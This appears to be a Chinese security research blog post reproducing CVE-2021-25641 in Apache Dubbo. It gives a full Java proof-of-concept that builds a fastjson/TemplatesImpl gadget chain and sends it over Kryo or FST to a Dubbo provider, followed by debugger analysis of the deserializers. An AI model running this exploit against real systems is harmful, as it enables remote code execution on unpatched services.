Dubbo的反序列化安全問題——kryo和fst

bitterz發表於2021-11-22

0 前言

本篇是Dubbo反序列化安全問題的學習和研究第二篇,來看看Dubbo2.x下,由於dubbo的資料包協議設計安全問題,導致攻擊者可以選定危險的反序列化協議從而實現RCE,復現漏洞為CVE-2021-25641 Apache Dubbo協議繞過漏洞

1 Dubbo的協議設計

由於Dubbo可以支援很多型別的反序列化協議,以滿足不同系統對RPC的需求,比如

  • 跨語言的序列化協議:Protostuff,ProtoBuf,Thrift,Avro,MsgPack
  • 針對Java語言的序列化方式:Kryo,FST
  • 基於Json文字形式的反序列化方式:Json、Gson

Dubbo中對支援的協議做了一個編號,每個序列化協議都有一個對應的編號,以便在獲取TCP流量後,根據編號選擇相應的反序列化方法,因此這就是Dubbo支援這麼多序列化協議的祕密,但同時也是危險所在。在org.apache.dubbo.common.serialize.Constants中可見每種序列化協議的編號

而在Dubbo的RPC通訊時,對流量的規定最前方為header,而header中通過指定SerializationID,確定客戶端和服務提供端通訊過程使用的序列化協議。Dubbo通訊的具體資料包規定如下圖所示

雖然Dubbo的provider預設使用hessian2協議,但我們可以自由的修改SerializationID,選定危險的(反)序列化協議,例如kryo和fst。

2 Dubbo中的kryo序列化協議觸發點

先來複現CVE-2021-25641,根據上一篇文章的步驟(https://www.cnblogs.com/bitterz/p/15526206.html),安裝zookeeper和dubbo-samples,用idea開啟dubbo-samples-api,然後修改其中的pom.xml如下

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>dubbomytest</artifactId>
    <packaging>pom</packaging>
    <version>1.0-SNAPSHOT</version>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>8</source>
                    <target>8</target>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <properties>
        <source.level>1.8</source.level>
        <target.level>1.8</target.level>
        <dubbo.version>2.7.6</dubbo.version>
        <junit.version>4.12</junit.version>
        <docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
        <jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
        <maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
        <maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
        <image.name>${project.artifactId}:${dubbo.version}</image.name>
        <java-image.name>openjdk:8</java-image.name>
        <dubbo.port>20880</dubbo.port>
        <zookeeper.port>2181</zookeeper.port>
        <main-class>org.apache.dubbo.samples.provider.Application</main-class>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo</artifactId>
            <version>2.7.3</version>
        </dependency>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo-common</artifactId>
            <version>2.7.3</version>
        </dependency>

        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo-dependencies-zookeeper</artifactId>
            <version>2.7.3</version>
            <type>pom</type>
        </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.8.0</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>${junit.version}</version>
            <scope>test</scope>
        </dependency>

    </dependencies>
</project>

主要是使dubbo版本<=2.7.3,直接上程式碼,修改自[https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept/tree/main/DubboProtocolExploit/src/main/java/DubboProtocolExploit]

package com.bitterz.dubbo;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Serialization;
import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
import org.apache.dubbo.common.serialize.fst.FstSerialization;
import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
import org.apache.dubbo.common.serialize.kryo.KryoSerialization;
import org.apache.dubbo.common.serialize.ObjectOutput;
import org.apache.dubbo.rpc.RpcInvocation;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.Serializable;
import java.lang.reflect.*;
import java.net.Socket;
import java.util.HashMap;
import java.util.HashSet;

public class FstAndKryoGadget {
    // Customize URL for remote targets
    public static String DUBBO_HOST_NAME = "localhost";
    public static int    DUBBO_HOST_PORT = 20880;

    //Exploit variant - comment to switch exploit variants
    public static String EXPLOIT_VARIANT = "Kryo";
//    public static String EXPLOIT_VARIANT = "FST";

    // Magic header from ExchangeCodec
    protected static final short MAGIC = (short) 0xdabb;
    protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0];
    protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1];

    // Message flags from ExchangeCodec
    protected static final byte FLAG_REQUEST = (byte) 0x80;
    protected static final byte FLAG_TWOWAY = (byte) 0x40;


    public static void setAccessible(AccessibleObject member) {
        // quiet runtime warnings from JDK9+
        member.setAccessible(true);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }


    public static void main(String[] args) throws Exception {
        // 建立惡意類,用於報錯丟擲呼叫鏈
        ClassPool pool = new ClassPool(true);
        CtClass evilClass = pool.makeClass("EvilClass");
        evilClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));

        // 讓dubbo provider端報錯顯示呼叫鏈,或者彈計算器
        evilClass.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
        // evilClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] evilClassBytes = evilClass.toBytecode();

        // 構建templates關鍵屬性,特別是_bytecodes
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClassBytes});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // Dubbo自帶fastJson解析器,且這種情況下會自動呼叫物件的getter方法,從而觸發TemplatesImpl.getOutputProperties()
        JSONObject jo = new JSONObject();
        jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper

        // 藉助Xstring.equals呼叫到JSON.toString方法
        XString x = new XString("HEYO");
        Object v1 = new HotSwappableTargetSource(jo);
        Object v2 = new HotSwappableTargetSource(x);

        // 取消下面三行註釋,增加new hashMap的註釋,並將後方objectOutput.writeObject(hashMap)修改為hashSet,從而替換呼叫鏈
        // HashSet hashSet = new HashSet();
        // Field m = getField(HashSet.class, "map");
        // HashMap hashMap = (HashMap) m.get(hashSet);

        HashMap<Object, Object> hashMap = new HashMap<>();

        // 反射修改hashMap中的屬性,讓其儲存v1 和 v2,避免本地呼叫hashMap.put觸發payload
        setFieldValue(hashMap, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(hashMap, "table", tbl);

        // 開始準備位元組流
        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        // 選擇FST或者Kryo協議進行序列化
        Serialization s;
        ObjectOutput objectOutput;
        switch(EXPLOIT_VARIANT) {
            case "FST":
                s = new FstSerialization();
                objectOutput = new FstObjectOutput(bos);
                break;
            case "Kryo":
            default:
                s = new KryoSerialization();
                objectOutput = new KryoObjectOutput(bos);
                break;
        }

        // 0xc2 is Hessian2 + two-way + Request serialization
        // Kryo | two-way | Request is 0xc8 on third byte
        // FST | two-way | Request is 0xc9 on third byte

        // 組裝資料包的頭部
        byte requestFlags =  (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY);
        byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags,
                0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs
        bos.write(header);

        // 組裝資料包的內容
        RpcInvocation ri = new RpcInvocation();
        ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class});
        //ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
        // 需要根據dubbo存在的服務新增
        ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}});

        // Strings need only satisfy "readUTF" calls until "readObject" is reached
        // 下面四個隨便輸入,無所謂
        objectOutput.writeUTF("2.0.1");
        objectOutput.writeUTF("org.apache.dubbo.demo.DeService");
        objectOutput.writeUTF("0.1.0");
        objectOutput.writeUTF("sayello");

        // 不能隨便輸入
        objectOutput.writeUTF("Ljava/lang/String;"); //*/
        // 序列化惡意物件
        objectOutput.writeObject(hashMap);
        objectOutput.writeObject(ri.getAttachments());

        objectOutput.flushBuffer();
        byte[] payload = bos.toByteArray();
        int len = payload.length - header.length;
        Bytes.int2bytes(len, payload, 12);

        // 將資料包用十六進位制輸出
        for (int i = 0; i < payload.length; i++) {
            System.out.print(String.format("%02X", payload[i]) + " ");
            if ((i + 1) % 8 == 0)
                System.out.print(" ");
            if ((i + 1) % 16 == 0 )
                System.out.println();

        }
        // 將資料包轉換成String輸出
        System.out.println();
        System.out.println(new String(payload));

        // 使用TCP傳送payload
        Socket pingSocket = null;
        OutputStream out = null;

        try {
            pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT);
            out = pingSocket.getOutputStream();
        } catch (IOException e) {
            return;
        }
        out.write(payload);
        out.flush();
        out.close();
        pingSocket.close();
        System.out.println("Sent!");
    }
}

註釋給的比較多了,就不詳細展開Templates.getOutputProperties()和fastJson自動呼叫目標getter方法的部分了(其實用報錯的的方法可以在provider端看到全部呼叫鏈)。執行程式碼,攻擊dubbo provider後,執行前面的程式碼new java.io.IOException().printStackTrace();,效果如下

從呼叫鏈來看,kryo反序列化時,也是針對不同的物件型別使用不同的反序列化器,而MapSerializer中肯定也有和hessian2一樣的操作,呼叫map.put方法,來看看原始碼:

  • com.esotericsoftware.kryo.serializers.MapSerializer#read

省略了一部分程式碼,只關注核心部分,在for迴圈中,不斷反序列化獲取key和value,再使用map.put還原物件,而這個map會根據傳過來的型別自動建立,也就是說,我們發到provider的HashMap類,在provider中建立了一個空的HashMap物件,也就是這裡的map,而後呼叫HashMap.put方法放入key-value。

在dubbo provider端,給map.put處打斷點,進入除錯,在map.put處跟進,可見經典的HashMap.put->HashMap.putVal->key.equals(k)(注意此時key和k是HotSwappableTargetSource類的不同例項物件,結合前面的程式碼,其中key=v2,k=v1,v1.target=XString

也就是,HotSwappableTargetSource.equals()

由於java中處理&&判斷時,如果&&前面的條件結果為false,則不會執行&&符號後面的語句。此時變數other=v1=HotSwappableTargetSource,因此other instanceof HotSwappableTargetSource=true,所以執行&&後面的語句。此時結合前面的程式碼this=v2,因此this.target=XString("HEYO"),而other.target=jo,因此呼叫的時XString.equals(jo),跟進XString.equals方法

obj2就是我們構造的程式碼中的JSONObject物件,此時呼叫JSONObject.toString()方法,進一步跟進,會呼叫到toJSONString方法

而fastjson的反序列化過程,會自動呼叫反序列化目標類的所有getter方法,即呼叫到TemplatesImpl.getOutputProperties方法,從而造成任意程式碼執行。

因此kryo序列化協議的危險觸發點實際上還是來自於Map型別的反序列化會用到Map.put方法,從而呼叫到equals、hashCode等方法造成RCE。

3 Dubbo中的fst序列化協議觸發點

3.1 fst復現

原始碼比較多就不一步一步說了,直接找到org.apache.dubbo.common.serialize.fst.FstObjectInput的readObject方法,跟進其具體實現方法,到達org.nustaq.serialization.FSTObjectInput的readObject方法,再進一步跟進可以看到fst也會根據反序列化物件型別選擇反序列化器,並呼叫該反序列化器的instantiate方法,看下截圖中的程式碼

注意這個FSTObjectSerializer類,這是一個介面,看看它的具體實現有哪些

FST跟前面的kryo、hessian2序列化協議差不多,針對不同的型別,在反序列化時通過不同的反序列化器還原出物件。FST協議對Map顯然也用了專門的反序列化器,跟進org.nustaq.serialization.serializers.FSTMapSerializer中的instantiate方法

這程式碼一看就能抓住重點,for迴圈中不斷反序列化還原出key和value,再用map.put將key和value還原,顯然也時HashMap的觸發鏈,我用https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept 中的poc嘗試了一下,發現並沒有彈出計算器,又從provider端在上方的程式碼中除錯了一下,發現FST處理Templates物件時,會呼叫其readObject方法進行還原

上面可以看到provider端並沒有還原出_bytecodes屬性,不知道具體原因是啥,最後FST序列化協議在Dubbo中的漏洞poc沒有復現出來。

3. 2 思路梳理

後面仔細了一下CVE-2021-25641提交者寫的文章 https://checkmarx.com/blog/the-0xdabb-of-doom-cve-2021-25641/

裡面提到還有不需要fastjson的poc,而且可利用版本更多

具體確認了一下,之所以利用有fastjson達到rce,是因為dubbo<=2.7.3時,fastjson的版本<=1.2.46,那擴充套件一下的話,還能用通用payload打。

圖中說的不依賴fastjson的poc攻擊版本更多,但作者沒有公開這個poc,自己動手挖了一下,沒有發現可以在equals、hashCode、toString方法後面繼續接的類(排除fastjson的情況下),待日後大佬們出poc的時候再回來補充一下吧

4 總結

CVE-2021-25641這哥漏洞的攻擊性挺強的呀,只要找到provider,在2.7.x這麼高版本的情況下都能反序列化攻擊,但目前看到的poc都依賴fastjson,祈求師傅們分析一下不依賴fastjson的poc學習一下:)

dubbo 2.x版本為了滿足自動化匹配多種序列化協議,設計了dubbo資料包協議,結果其設計缺乏安全驗證,產生了如此危險的漏洞。

相關文章